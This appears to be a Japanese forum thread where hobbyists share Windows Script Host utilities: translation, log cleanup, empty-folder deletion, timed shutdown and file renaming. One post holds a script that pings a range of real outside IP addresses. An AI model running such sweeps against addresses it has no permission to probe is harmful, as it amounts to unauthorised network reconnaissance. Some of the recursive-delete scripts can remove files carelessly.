いちいち一行ずつ翻訳しなくても、翻訳結果に改行入れれば
すむ話だからと思われ。

daily age

>>427 >>430
＞翻訳結果に改行入れればすむ
面倒くさくない？
そのまま原文の改行を反映する方が、普通は望ましい動作だと思わない？
つうか、>>427 はそういうこで、おれを馬鹿にしてるのか？
それぐらいのこと、自分でやれって意味じゃないの？
そりゃ、やってもいいけど、まずは作者に要望してるんだけど？

>>432
必死だなw

>>433
や、そういうツッコミは来ると思ったけど、マジ >>427 の意図が不明なんす。
まあ、あとは wsh見習い君の判断に任せよっと……。

> wsh見習い君の判断に任せよっと……。
う、飛んできた (w

えーと、匿名掲示板なんで過剰に反応してしまうのは得策ではないと
思われます。そんだけ。

ただ、改行が反映されないのはプログラム欠陥の範疇だと思うので
明日にでも直します。たしかに不便。今まで気づかんかった…


ウキキッ

例えば俺は、wshと cmail.exe っていうフリーソフトを組み合わせて
「箱庭諸島」で起こった出来事を携帯に自動送信してました(過去形。箱庭飽きちゃった)

>>436
WSHでメールと言うと、こういうのもありますな。
http://www.microsoft.com/JAPAN/support/kb/articles/JP193/6/85.asp

>>435
了解、ありがと！

daily age

>>426
多分これで動くはず。>>416の部分だけ以下のソースで置換してください。

なお、サーバへのアクセス回数を増やさないよう作った関係で、
テキストファイル内に"{br}"ちゅう文字列が含まれていると誤動作します。

var ej = 0;
var je = 1;
var fso = new ActiveXObject("Scripting.FileSystemObject");

for (var args = new Enumerator(WScript.Arguments); !args.atEnd(); args.moveNext())
{
// ファイル名・フォルダ名取得
var filename = args.item();
if (!fso.FileExists(filename)) continue;

// テキストファイルのロード
var before = loadTextFile(filename);
mode = isEnglish(before) ? ej : je;

// 翻訳
var lf = before.match(/\x0d\x0a|\x0d|\x0a/);
before = before.replace(/\x0d\x0a|\x0d|\x0a/g, "{br}"+lf);
var after = translateText(before, mode);
after = after.replace(/{br}/g, lf);

// 保存パス生成
var parentFolder = fso.GetParentFolderName(filename);
var saveFileName = fso.GetBaseName(filename)
+(mode == ej ? "(j)." : "(e).")
+fso.GetExtensionName(filename);
var saveFilePath = fso.buildPath(parentFolder, saveFileName);

// 保存
saveTextFile(saveFilePath, after);
}

WScript.Echo("おしまい！");

daily age

>>440
おお！どうもありがと。
ある程度短いファイルなら、理想通りの動作をしますね。感謝、感謝。
長めのだとウチの Windows2000SP2・IE5.5SP2 環境だと、途中で IE 強制終了
になっちゃうんだけど、これって、制限はどの程度なのかしらん？
（ひょっとして、ウチの環境だけ、問題あり？）

>>9
ネタくさいが…
書き込みウィンドウに「ローカルルール」ってタブがあるだろ。

あと、>2-8、ローカルルールには
スレ違い、板違いは優しく誘導してあげましょう。
って書いてあるぞ。やさしく、だ。

誤爆した。ｽﾏｿ。

>>443-444
どうにもネタくさいな…

daily age !!

'かちゅのidxファイルから最終書き込み日時とkakikomi.txtを消して
'あなたが真性2ちゃんねらーであることを友人に隠すためのスクリプト
'かちゅが動いてないときに実行してね。
'スレが万単位で保存されてると、数分かかるよ。

Dim sRootDir,sIniFile,ts,sLastTime,dLastTime,iNewSure,iKakikoSure
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")

'/////設定変更可能項目//////
sRootDirRelative="\log"
'↑idxファイルを処理する対象フォルダのルート。\logを指定すると、全idxを対象にする。
sIniFileName="secret.ini"
'↑設定ファイル名
'///////////////////////////

sRootDir=Fs.BuildPath(Fs.GetParentFolderName(WScript.ScriptFullName),sRootDirRelative)
sIniFile=Fs.BuildPath(Fs.GetParentFolderName(WScript.ScriptFullName),sIniFileName)
sKakikomi=Fs.BuildPath(Fs.GetParentFolderName(WScript.ScriptFullName),"kakikomi.txt")

If MsgBox("今から、" & sRootDir & "以下のフォルダ内にある全idxファイルを検索し、" & vbCrLf & _
"書き込みしたスレの最終書き込み日時データを消去します。いいですか?",vbYesNo)=vbNo Then
WScript.Quit
End If

iNewSure=0
iKakikoSure=0

If Fs.FileExists(sIniFile) Then
Set ts=Fs.OpenTextFile(sIniFile)
If Not ts.AtEndOfStream Then sLastTime=ts.ReadLine
ts.Close
dLastTime=CDate(sLastTime)
Else
dLastTime=CDate("1970/01/01 00:00:00")
End If

Set ts=Fs.CreateTextFile(sIniFile,True)
ts.Write Now '現在の日時を設定ファイルに書き込む
ts.Close

Call CheckDir(Fs.GetFolder(sRootDir))
sMsg="更新スレ" & iNewSure & "個のうち、" & iKakikoSure & _
"個のスレに書き込んでましたので証拠を隠滅しました。"

If Fs.FileExists(sKakikomi) Then
If MsgBox("kakikomi.txtを削除しますか?",vbYesNo)=vbYes Then
Fs.DeleteFile sKakikomi 'kakikomi.txt削除
sMsg=sMsg & vbCrLf & "kakikomi.txtを削除しました。"
End If
End If

MsgBox sMsg

Sub CheckDir(Folder)
For Each oFile In Folder.Files
If LCase(Fs.GetExtensionName(oFile.Name))="idx" Then
If DateDiff("s",oFile.DateLastAccessed,dLastTime) < 0 Then
iNewSure=iNewSure + 1
Set ts=Fs.OpenTextFile(oFile.Path)
If Not ts.AtEndOfStream Then sLine=ts.ReadLine
ts.Close
aCell=Split(sLine,vbTab)
If UBound(aCell) >=11 Then
If aCell(11)<>"" Then
iKakikoSure=iKakikoSure + 1
aCell(11)=""
Set ts=Fs.CreateTextFile(oFile.Path,True)
ts.Write Join(aCell,vbTab) '最終取得日時を消したものを上書き
ts.Close
End If
End If
End If
End If
Next
For Each oSubFolder In Folder.SubFolders
Call CheckDir(oSubFolder)
Next
End Sub

間違えた。59行目、
If DateDiff("s",oFile.DateLastModified,dLastTime) < 0 Then
です。DateLastAccessedじゃない。

>>449
いつもお疲れさんです。

>>449
どうも、かちゅスレのものです

実行してみたんですが、
スクリプト設定ファイル"C"が不正です
と出てすぐに処理が終わってしまいます

なんか設定がいるのでしょうか？

>>451
見たことないエラーメッセージですねえ。
拡張子はvbsにしてますか?

一応、wscript.exeを実行し、「既定値に戻す」ボタンを
押してみてください。

動かないようなら、>>100のリンク集を参考にして、
最新版WSH落としてください。

>>452
どうもすいません、、
なんかボケてたようで拡張子を .wsh にしてました。。
おかげで無事動きましたです　多謝

ありまとー＞11
メッセージいっさいなしで動く寡黙版もあるといいにゃあ。

>>454
[1]
If MsgBox("今から、" & sRootDir & "以下のフォルダ内にある全idxファイルを検索し、" & vbCrLf & _
"書き込みしたスレの最終書き込み日時データを消去します。いいですか?",vbYesNo)=vbNo Then
WScript.Quit
End If
→削除

[2]
If Fs.FileExists(sKakikomi) Then
If MsgBox("kakikomi.txtを削除しますか?",vbYesNo)=vbYes Then
Fs.DeleteFile sKakikomi 'kakikomi.txt削除
sMsg=sMsg & vbCrLf & "kakikomi.txtを削除しました。"
End If
End If

↓このように修正

If Fs.FileExists(sKakikomi) Then
Fs.DeleteFile sKakikomi 'kakikomi.txt削除
End If

[3]
MsgBox sMsg
→削除

さんきゅー！

11氏の空ホルダ削除VBSちょうほうしてたんですけど、
Desktop.iniとかサムネイル.dbとかあるとだめみたいなんです。
これらを無視して他にファイルなかったらフォルダ削除、みたいに出来ますか？

jsで、テキストファイルに　" を書き出したいときは
Write("\"")
でうまくいくのですがvbsではできません。
どうにかなりませんか？

>>458
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("c:\testfile.txt", True)
a.Write(chr(34))
a.Close
これでいいかな？と。

http://www.microsoft.com/japan/developer/library/script56/vtoriMiscellaneous.htm

>>457
これでいいのか、わからんのだが。。。

Set WshShell = WScript.CreateObject("WScript.Shell")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
iDel=0 : iLeft=0
For Each sArg In WScript.Arguments
If Fs.FolderExists(sArg) Then
For Each oFol In Fs.GetFolder(sArg).SubFolders
'add
If oFol.Files.Count<=2 And oFol.SubFolders.Count=0 Then
If Fs.FileExists(sArg & "\"& oFol.name & "\" & "Desktop.ini") Then
Fs.DeleteFile(sArg & "\"& oFol.name & "\" & "Desktop.ini")
'msgbox("あぼーんDesktop.ini")
End If
If Fs.FileExists(sArg & "\"& oFol.name & "\" & "サムネイル.db") Then
Fs.DeleteFile(sArg & "\"& oFol.name & "\" & "サムネイル.db")
'msgbox("あぼーんサムネイル.db")
End If
End If
'end

If oFol.Files.Count=0 And oFol.SubFolders.Count=0 Then
iDel=iDel+1
oFol.Delete
Else
iLeft=iLeft+1
End If
Next
End If
Next
MsgBox iDel & "個の空フォルダを削除しました。" & vbCrLf & iLeft & "個のフォルダは空ではないです。"

↑だと
サブフォルダに
Desktop.ini
超重要ファイル.txtがあった場合、

実行すると
フォルダを削除する必要がなくても
Desktop.iniが消えちゃいます。ｼｸｼｸ

ってなわけでまたまた改造。
>>457

Set WshShell = WScript.CreateObject("WScript.Shell")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
iDel=0 : iLeft=0
Dim cnt'変数追加
For Each sArg In WScript.Arguments
If Fs.FolderExists(sArg) Then
For Each oFol In Fs.GetFolder(sArg).SubFolders
'追加始まり
If Fs.FileExists(sArg & "\"& oFol.name & "\" & "Desktop.ini") Then
cnt=cnt+1
End If
If Fs.FileExists(sArg & "\"& oFol.name & "\" & "サムネイル.db") Then
cnt=cnt+1
End If
If oFol.Files.Count=cnt And oFol.SubFolders.Count=0 Then
If Fs.FileExists(sArg & "\"& oFol.name & "\" & "Desktop.ini") Then
Fs.DeleteFile(sArg & "\"& oFol.name & "\" & "Desktop.ini")
End If
If Fs.FileExists(sArg & "\"& oFol.name & "\" & "サムネイル.db") Then
Fs.DeleteFile(sArg & "\"& oFol.name & "\" & "サムネイル.db")
End If
End If
cnt=0
'追加終わり

If oFol.Files.Count=0 And oFol.SubFolders.Count=0 Then
iDel=iDel+1
oFol.Delete
Else
iLeft=iLeft+1
End If
Next
End If
Next
MsgBox iDel & "個の空フォルダを削除しました。" & vbCrLf & iLeft & "個のフォルダは空ではないです。"

>>459
感謝！
今書いてるのがもうじき完成予定です

>>463
ﾀﾉｼﾐｰ♥

超遅レスだけど
>>414(=11)
W2Kではﾎﾟﾌﾟｱﾌﾟされないよん
wsh5.6.0.6626

できたー！
http://sakots.pekori.jp/download/pchview.zip
「しぃお絵描き掲示板のpchファイルを手軽に再生するHTMLファイル」
を書き出すスクリプトです。
目玉機能(?)は「ファイル名で縦横の幅を指定」です
スクリプトのあるフォルダパスの取得方法がよくわからなかったので
ちょっとアレですが、とりあえず。
お絵描き掲示板好きの方はどうぞ。

(ﾟдﾟ)ｳﾏｰ
コメント
" は(chr(34))にﾁｮﾄﾜﾗﾀ
俺もhtml作るvbs作ってみるかなー。

>>467
最初は " なしで書き上げてたんですよ
やっぱり気持ち悪かったもんで（w

>>462
ども、スクリプトの改造ありがと。
「もしフォルダ内に存在しても、それは無いものしてフォルダごと削除すべきアイテム」
ってのは、たとえばdesktop.iniとthumbs.dbが単独で存在する場合のほかに、
0バイトのファイルとか、空のフォルダとか、他にもいろいろあると思う。
こういうのをいろいろピックアップして、完全なる「空サブフォルダ全削除」
スクリプトに仕立て上げるのもいいかもね。

>>465
同じ環境なんだけどな。やっぱり、なんかのツールチップエクステンション系
アプリが知らないうちに入ってるんだろうか。
IEは6.0なんですけど関係あるかな?

>>466
スクリプトを見ずにﾚｽ(ｽﾏｿ)
Fs.GetParentFolderName(WScript.ScriptFullName)
で取れるよ。FileSystemObjectを他で使ってる場合は、
この方法がお勧めだけど、これだけのためにわざわざ
使うのはお勧めしない。
s=WScript.ScriptFullName
Mid(s,1,InStrRev(s,"\"))とかでどうか。

>>468
\"じゃなくて、""でエスケープできるよん。
コードが見難くなるから、Chr(34)の方がｲｲ場合もあるけどね。

>>469
ﾜｰｲ11ｻﾝｱﾘｶﾞﾄｰ
http://sakots.pekori.jp/download/pchview.zip
pchファイルに関連付けて使うためのスクリプト追加
ゴミがたくさん残るのが難点。

>>14
[ Moon Browser ] ver 0.41 Beta 1
[ Internet Explorer ] ver 6.0.2600.0000
[ Shell32.dll ] ver 5.0
[ ComCtl32.dll ] ver 5.81

http://www.microsoft.com/japan/developer/library/default.asp?PP=/japan/developer/library/toc/script56/script560-3-1.xml&tocPath=script560-3-1&URL=/japan/developer/library/script56/wsconWSHBasics.htm
意味は無い

Set WshShell = WScript.CreateObject("WScript.Shell")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Dim SumSize
Dim m
For Each sArg In WScript.Arguments
If Fs.FolderExists(sArg) Then
SumSize=0
For Each oFol In Fs.GetFolder(sArg).SubFolders
m=m & oFol & chr(9) & CStr(oFol.size) & chr(13)
Next
End If
Next
msgbox m
フォルダサイズを調べるスクリプト

Set WshShell = WScript.CreateObject("WScript.Shell")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Dim m
For Each sArg In WScript.Arguments
If Fs.FolderExists(sArg) Then
For Each oFol In Fs.GetFolder(sArg).SubFolders
m=m & oFol & chr(9) & CStr(CLng(oFol.size/1024)) & chr(13)
Next
End If
Next
msgbox m
kb表示

>>474
Folder.Sizeが、フォルダのサイズをちゃんと返してくれるのが
いいね。これがhttだと…ﾊｧ。

昔こういうのを書いたことがあるので、良かったらどうぞ。
http://www.roy.hi-ho.ne.jp/cgi-bin/user/mutaguchi/clickcnt.cgi?http://www.roy.hi-ho.ne.jp/mutaguchi/wsh/src/folsize.lzh

>>471
もしかしたら、.NET Framework SDK or Visual Studio .NETの仕業かもしれない。
vbsやjsファイルにも関連付けされてたので。(関連付けされたところで、
使い道が良くわからんのだが)

<script language="vbscript">
Set Ie = CreateObject("InternetExplorer.Application")
Set TextRange= external.menuArguments.document.selection.createRange
query=TextRange.text
Ie.Navigate("http://www.google.co.jp/search?hl=ja&q="+query+"&lr=lang_ja")
Ie.Visible=true
</script>
11さんの右ｸﾘｯｸ翻訳（>60）とほぼ同じ原理の右ｸﾘｯｸ検索。
ﾀﾌﾞﾌﾞﾗｳｻﾞだからあんまり意味無し

ｳﾎｰｲ。こりゃ便利かも。
更新日時1999年6月23日、2:49:22
ﾏｲﾘﾏｼﾀ(ﾜﾗ

XPや2000なんかで、あと何分(任意)たったら
強制シャットダウンするなんてスクリプト…あったらいいな

>>478
ご使用の際は、用法・用量を守って正しくお使いください。

lSec = 5400

Set WshShell = WScript.CreateObject("WScript.Shell")
iButton = WshShell.Popup ("シャットダウンしてもｲｲ?" & vbCrLf & _
"ほっとくと" & FormatTime(lSec) & "後にシャットダウンするよ。",lSec,,vbExclamation + vbOkCancel)

If iButton= -1 Or iButton = vbOK Then
Set oSystemSet=GetObject ("winmgmts:{impersonationLevel=impersonate,(Shutdown)}") _
.InstancesOf("Win32_OperatingSystem")
For Each oSystem In oSystemSet
oSystem.Win32Shutdown 0
'0 ログオフ
'1 シャットダウン(電源は切れない)
'2 再起動
'4 強制終了?
'8 電源オフ
Next
End If

Function FormatTime(sec)
h=0 : m=0 : s = sec :ret=""
If s >= 3600 Then
h = s \ 3600
s = s mod 3600
ret = ret & h & "時間"
End If
If s >= 60 Then
m = s \ 60
s = s mod 60
ret = ret & m & "分"
End If
If s > 0 Then
ret = ret & s & "秒"
End If
FormatTime = ret
End Function

WScript.Sleep lSec*1000

>>480
うん。それもｱﾘとおもうけど、見えない & キャンセルする手段がないってのは
怖いかなあと思って。

>>481
でもSleep入れないと即行でshutdownしちゃうよん。
電源切れないのがｲﾀｲﾅｰ

Set WShell = CreateObject("WScript.Shell")
Res = WShell.Popup "電源をきりますか？", lSec

記憶をたよりに書いていて、実行テストしていないので、
多分間違ってい。る

>>482
ん? WshShell.Popupを使えば、指定時間が経過したら勝手に
ダイアログが閉じるようにできるんで、これを利用したわけ
なんですが。
引数に、8指定したら電源切れるし。

8指定したら電源切れたー。ｳﾚｼｲ

あっしの環境ではすぐにshutdownされてしまうのです・・・。

>>485
あっ、たぶん勘違いされてると思うのですが、
OKボタンを「押さずに」指定時間が経過すると、シャットダウンします。
もちろん、OKボタンを押してもシャットダウンします。
lSec=10とかで試してみてください。

ﾅｰﾙﾎﾄﾞ
疑問氷解

指定時間に終了とかﾁｮﾄ改造すれば
いろいろできそう。φ...メモメモっと。

WSHじゃないけど、フォルダカスタマイズスレで話があったので
ちょっと作ってみたスクリプト。拡張子はhttで。
全ドライブの使用率円グラフを並べて表示します。
<html>
<head>
<title>Drive viewer</title>
<head>
<hta:application minimizeButton="no"
maximizeButton ="no"
applicationname="Drive viewer"
singleinstance="yes"
border="dialog"
borderstyle="raised"
version="1.00"
id="oHTA">
<style>
#Thumbnail {width: 120px; height: 120px}
#driveinfo {width: 200px; height: 120px; font: 9pt MS UI Gothic}
.Legend {margin-left: 8px}
BODY {font: 12 'MS UI Gothic';background: WINDOW; color: WINDOWTEXT; border-style: none; margin: 10; cursor: default}
</style>

<script language="vbscript">
window.resizeTo 700,600
Dim iDrive
Set Fs=CreateObject("Scripting.FileSystemObject")
Sub window_onload()
On Error Resume Next
iDrive=0
For Each oDrive In Fs.Drives
If oDrive.IsReady Then
Thumbnail(iDrive).displayFile oDrive.RootFolder
driveinfo(iDrive).InnerHTML="<p>" & oDrive.Path & "<p>合計サイズ:" & _
Thumbnail(iDrive).totalSpace & "<p><table class=Legend width=12 height=12 " & _
"border=1 align=left bgcolor=threedface bordercolordark=black bordercolorlight" & _
"=black><tr><td title='使用領域:'></td></tr></table> 使用領域:" & _
Thumbnail(iDrive).usedSpace & "<p><table class=Legend width=12 height=12 border" & _
"=1 align=left bgcolor=threedhighlight bordercolordark=black bordercolorlight=" & _
"black><tr><td title='" & _
"空き領域:'></td></tr></table> 空き領域:" & Thumbnail(iDrive).freeSpace
iDrive=iDrive+1
If iDrive=6 Then Exit For
End If
Next

End Sub
</script>
</head>

<body scroll=no>
<table><tr>
<td><object id=Thumbnail classid=clsid:1D2B4F40-1F10-11D1-9E88-00C04FDCAB92></object></td>
<td><object id=Thumbnail classid=clsid:1D2B4F40-1F10-11D1-9E88-00C04FDCAB92></object></td>
<td><object id=Thumbnail classid=clsid:1D2B4F40-1F10-11D1-9E88-00C04FDCAB92></object></td>
</tr><tr>
<td><span id=driveinfo></span></td>
<td><span id=driveinfo></span></td>
<td><span id=driveinfo></span></td>
</tr><tr>
<td><object id=Thumbnail classid=clsid:1D2B4F40-1F10-11D1-9E88-00C04FDCAB92></object></td>
<td><object id=Thumbnail classid=clsid:1D2B4F40-1F10-11D1-9E88-00C04FDCAB92></object></td>
<td><object id=Thumbnail classid=clsid:1D2B4F40-1F10-11D1-9E88-00C04FDCAB92></object></td>
</tr><tr>
<td><span id=driveinfo></span></td>
<td><span id=driveinfo></span></td>
<td><span id=driveinfo></span></td>
</tr>
</table>
</body>
</html>

間違えた。拡張子はhtaだ。ｽﾏｿ。

pchviewerようやく実用レベルに。
自信作です。アイコンが。
http://sakots.pekori.jp/download/pch/pchview.zip

>>462
ﾜｰｲ!!ありがとう。早速使ってみたよ。
でもまだThumbs.dbあると削除できないっぽいです。0個削除って出ちゃう・・・欝だ

二つのフォルダの内容を同期するスクリプトなんて
あったら便利なのだが…

フォルダの中に空のフォルダしかない場合に、再帰的に消してくれるといいかなあ。
と思ったんで、ちょっと作ってみたり。

Set WshShell = WScript.CreateObject("WScript.Shell")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
iDel = 0
For Each sArg In WScript.Arguments
If Fs.FolderExists(sArg) Then
Set Fld = Fs.GetFolder(sArg)
iDel = iDel + DelFld(Fld)
End if
Next
status = WshShell.Popup(iDel & "個のフォルダを削除しました。", 2, "空フォルダの削除")

Function DelFld(Fld)
subiDel = 0
For Each oFol in Fld.SubFolders
subiDel = subiDel + DelFld(oFol)
Next
If Fld.Files.Count = 0 And Fld.SubFolders.Count = 0 Then
Fld.Delete
subiDel = subiDel + 1
End If
DelFld = subiDel
End Function

こんな感じで、右クリックメニューに登録してみたり。
REGEDIT4

[HKEY_CLASSES_ROOT\Folder\shell\deletefolder]
@="空フォルダを削除(&V)"

[HKEY_CLASSES_ROOT\Folder\shell\deletefolder\command]
@="C:\\WINDOWS\\wscript.exe C:\\WINDOWS\\delfolder.vbs \"%1\""

Set WshShell = WScript.CreateObject("WScript.Shell")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
iDel=0 : iLeft=0
Dim cnt'変数追加
For Each sArg In WScript.Arguments
If Fs.FolderExists(sArg) Then
For Each oFol In Fs.GetFolder(sArg).SubFolders
'追加始まり
If Fs.FileExists(sArg & "\"& oFol.name & "\" & "desktop.ini") Then
cnt=cnt+1
End If
If Fs.FileExists(sArg & "\"& oFol.name & "\" & "Thumbs.db") Then
cnt=cnt+1
End If
If oFol.Files.Count=cnt And oFol.SubFolders.Count=0 Then
If Fs.FileExists(sArg & "\"& oFol.name & "\" & "desktop.ini") Then
Fs.DeleteFile(sArg & "\"& oFol.name & "\" & "desktop.ini")
End If
If Fs.FileExists(sArg & "\"& oFol.name & "\" & "Thumbs.db") Then
Fs.DeleteFile(sArg & "\"& oFol.name & "\" & "Thumbs.db")
End If
End If
cnt=0
'追加終わり

If oFol.Files.Count=0 And oFol.SubFolders.Count=0 Then
iDel=iDel+1
oFol.Delete
Else
iLeft=iLeft+1
End If
Next
End If
Next
MsgBox iDel & "個の空フォルダを削除しました。" & vbCrLf & iLeft & "個のフォルダは空ではないです。"

確認テストはしてないが、多分大丈夫>>493

>>494
素直にZCopy使うのは？
ttp://www.zob.ne.jp/~c.mos/

>>497
実は会社でモバイル用ノートPCを大量に設定してるんですけど
ソフトウェアのインストール＆設定がどうしても面倒なので。
こういうときこそwshかな？ともおもったわけです。
ちょっとがんばって作ってみようかな？

あー
ﾃﾞｽｸﾄﾌﾟ機とﾉｰﾄのﾏｲﾄﾞｷｭを同期するために
一つずつソフトインストール→設定が面倒

と書きたかった…

Set oSystemSet=GetObject ("winmgmts:{impersonationLevel=impersonate,(Shutdown)}") _
.InstancesOf("Win32_OperatingSystem")
こういうのってMSDN見ても載ってないですよね？
どこ見てるんです？

>>50
＞sListFile=Fs.BuildPath(Fs.GetParentFolderName(WScript.ScriptFullName),"list.m3u" )
＞'リストファイルをスクリプトがあるフォルダに作成。

の部分をドラッグアンドドロップしたフォルダと同じ場所にリスト作成
させるようにするにはどうすればいいんでしょう？
なんとなく弄ってみたけどさっぱりで・・・

>>499
一つずつソフトインストールして設定をするというのを、自動で
やってくれるスクリプトを書くといいかも。

>>500
WMI SDK。
http://msdn.microsoft.com/downloads/default.asp?URL=/code/sample.asp?url=/msdn-files/027/001/566/msdncompositedoc.xml

>>501

sListFile=Fs.BuildPath(Fs.GetParentFolderName(WScript.ScriptFullName),"list.m3u" )
'リストファイルをスクリプトがあるフォルダに作成。

For Each sArg In WScript.Arguments '引数として指定したフォルダを処理対象にする。
If Fs.FolderExists(sArg) Then
Call MakeList(Fs.GetFolder(sArg))
End If
Next

を

For Each sArg In WScript.Arguments
If Fs.FolderExists(sArg) Then
sListFile=Fs.BuildPath(sArg,"list.m3u" )
Call MakeList(Fs.GetFolder(sArg))
End If
Next

に変える。

皆さんすごいですね・・・

フォルダ内のHTMLファイル全てのファイル名を
タイトル名に置き換えるなんてことはできるのでしょうか。
知識がないのでどなたか教えていただけるとうれしいです・・・

>>503
ファイルかフォルダをD&D。

Dim RegEx,RegEx2,Fs
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Set RegEx=New RegExp
Set RegEx2=New RegExp
RegEx.IgnoreCase=True
RegEx.Global=True

For Each sArg In WScript.Arguments
If Fs.FolderExists(sArg) Then
For Each oFile In Fs.GetFolder(sArg).Files
Call RenameHTMLFile(oFile)
Next
ElseIf Fs.FileExists(sArg) Then
Call RenameHTMLFile(Fs.GetFile(sArg))
End If
Next

MsgBox "終了"

Sub RenameHTMLFile(File)
ext=LCase(Fs.GetExtensionName(File.Name))
If ext="htm" Or ext="html" Then
Set ts=Fs.OpenTextFile(File.Path)
sDoc=ts.ReadAll
RegEx.Pattern="<\s*title\s*>\s*((?:.|\n)*)\s*<\s*\/title\s*>"
Set Matches=RegEx.Execute(sDoc)
For Each Match In Matches
RegEx.Pattern="(?:[\\\/\:\,\;\*\?\""<>\|\t]|\r\n|\r|\n)"
sTitle=RegEx.Replace(Match.SubMatches(0),"_")
Next
ts.Close
If sTitle<>"" Then
sNewName=sTitle & "." & ext
sNewPath=Fs.BuildPath(Fs.GetParentFolderName(File.Path),sNewName)
Do While Fs.FileExists(sNewPath)
RegEx.Pattern="(.*)\[(\d+)\]$"
If RegEx.Test(sTitle) Then
sNumber=RegEx.Execute(sTitle)(0).SubMatches(1)
If IsNumeric(sNumber) Then
sTitle = RegEx.Replace(sTitle,"$1" & "[" & CInt(sNumber) + 1 & "]")
Else
sTitle = RegEx.Replace(sTitle,"$1" & "[0]")
End If
Else
sTitle=sTitle & "[0]"
End If
sNewName=sTitle & "." & ext
sNewPath=Fs.BuildPath(Fs.GetParentFolderName(File.Path),sNewName)
Loop
File.Name = sNewName
End If
End If
End Sub

>>502
ありがとう。
でも複数フォルダ選択で送ると、どのフォルダにList.m3uが入ってるのか
わからなくなるので一番上のフォルダと同階層にしたいんです。
Fs.BuildPathに作ってくれることまではわかったんですが・・・

一番上というとあれですが、つまり、
フォルダ-フォルダ-ファイル
フォルダ-ファイル
List.m3u
↑この階層
にしたいのです。

>>504さん、本当にありがとうございます！
皆さん、すごいなー。私も勉強しようかな。

>>502
THANX!!
他のオブジェクトとかを使う場合はどうでしょ？
Iriaとか。
メソッド、プロパティあと呼び出し方とか。

>>506
Dim ts,sList
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Randomize

For Each sArg In WScript.Arguments
If Fs.FolderExists(sArg) Then
sList=""
Call MakeList(Fs.GetFolder(sArg))
aList=Split(sList,vbCrLf)
For I=0 To UBound(aList)
n=Int(Rnd()*UBound(aList))
m=Int(Rnd()*UBound(aList))
tmp=aList(n)
aList(n)=aList(m)
aList(m)=tmp
Next
sList=Join(aList,vbCrLf)
Set ts=Fs.CreateTextFile(Fs.BuildPath(sArg,"list.m3u"))
ts.Write sList
ts.Close
End If
Next
MsgBox "終了"

あとはSub MakeList(Folder) を追加。これでいい?

>>509
私はVB6についてる、オブジェクトブラウザで仕様を調べてます。
VB持ってない人はOLE/COM Object Viewerを使いましょう。
http://www.microsoft.com/com/resources/oleview.asp

あと、VS .NETにもオブジェクトブラウザはある。Delphiとかにも
同等の機能はあるんじゃないかな。

オブジェクトブラウザVCの方では見当たらなかったが、
VBEの方にあったわーん

>>512
Office持ってる人は、VBAについてますね。
VBA起動させたらF2を押してみましょう。

あと、CreateObject関数/メソッドの引数に与える文字列=ProgID
の調べ方ですが、私の場合、オブジェクトブラウザで
表示されるクラス名をレジストリエディタで検索して調べてます。

クラス名からは一発では見つからないときは、クラス名→ClassIDと
いうように調べます。まあ、たいていみつかります。

使いたいが動かない。
Set WshShell = WScript.CreateObject("WScript.Shell")
↓
Microsoft VBScript 実行時エラー: ActiveX コンポーネントはオブジェクトを作成できません。
何でだ。

>>514
WSHを再インストールしる!
http://download.microsoft.com/download/winscript56/Install/5.6/W98NT42KMe/JA/scriptjp.exe (W2k用)
http://download.microsoft.com/download/winscript56/Install/5.6/W98NT42KMe/JA/scr56jp.exe (それ以外)

wshom.ocxが壊れてるか、登録情報がおかしくなってる。

>>515
あ、XPはわかんない。アプリケーションの追加と削除-Windowsファイル、かな?

>>504-505 なるほど。これまでもやもやしてたvbsでのsubmatchの使い方が
わかったよ。正規表現を使いこなしてるスクリプトを見て思ったのだが､
11さんはひょっとしてperl使いですか。

>>517
Perl使いじゃないですよ。
VBSで正規表現を学んだのは、私くらいのもんだろう(w

ちなみに、WSHのヘルプは間違いが多いことで有名ですが、
VBSの Patternプロパティの(pattern)の説明が間違っています。
「一致した部分は、Matches コレクションの…」ではなく、
「一致した部分は、SubMatches コレクションの…」が正解。
私はこのせいでそーとー悩んだ。
VBSのReplaceメソッドにも、$&とかの説明はないしなあ。

それにしても、VBSの正規表現は、あんまりｶｺﾖｸﾅｲよなあ。
JSとか他の処理系を眺めていての感想。

JSの正規表現もあまりカッコよくない気が。
やっぱし、Perl, Ruby, AWKあたりが洗練されてる感じがする。

"\" が特別な意味を持たせる文字、特別な意味を打ち消す文字をかねている現状の
正規表現はどれも美しくない気がする。

例えば "\(" "\?" などはどの処理系か分からなければ(そしてそのマニュアルを読むまで)
どんな意味かわからない。

最低の努力で理解できるようどっちかに統一してくれ。

>>11(518)

なるほど。あのリファレンスはわかりづらいよねえ。あのリファレンス
のせいで、私もいったんvbsでは正規表現の習得を挫折して、perlの正規
表現を勉強し直すことにしましたし。すごいと思います。

vbsの正規表現が使いにくい場合は、正規表現の部分だけperlscriptに処理を
渡すようなwsfなんかがいいかもね。（そうなるとXMLも覚えないといけないけど）

Dim WshShell, oExec, regEx
Set WshShell = CreateObject("WScript.Shell")
Set regEx = New RegExp

For i = 150 To 190
Set oExec = WshShell.Exec("ping -n 1 61.116.87." & i)
Do While oExec.Status <> 1: WScript.Sleep 100: Loop
res = oExec.StdOut.ReadAll
regEx.Pattern = "Reply .* time.*"
regEx.IgnoreCase = True
Set Matches = regEx.Execute(res)

If Matches.Count > 0 Then
WScript.Echo Matches(0).Value
End If
Next

------------------------------------------------------

とあるスレで上記のスクリプトがあったのですが
ダブルクリックしてもうまく動きませんでした。
元のスレを忘れてしまったのでここで訊かせてください。

VBSの正規表現の話は、利用するのに打鍵数が多くてやだな、
ということでした。
正規表現自体には、とくに感想はないです。

>>522
WSH5.6入れた?
61.116.87.[150-190]にpingを飛ばすスクリプトですけど。

>515
動いた（・∀・）thx!

>>510
ありがとう！
複数フォルダD&Dでフォルダ毎にかなりM3u作るのが楽になりました。
ついでもひとつお願いがあるんですが、
D&Dしたフォルダ（複数の場合でも）のリストを
D&Dしたフォルダと同じ場所（最上位）に
一気にM3u作る場合はどこら辺を修正したらいいんでしょう？
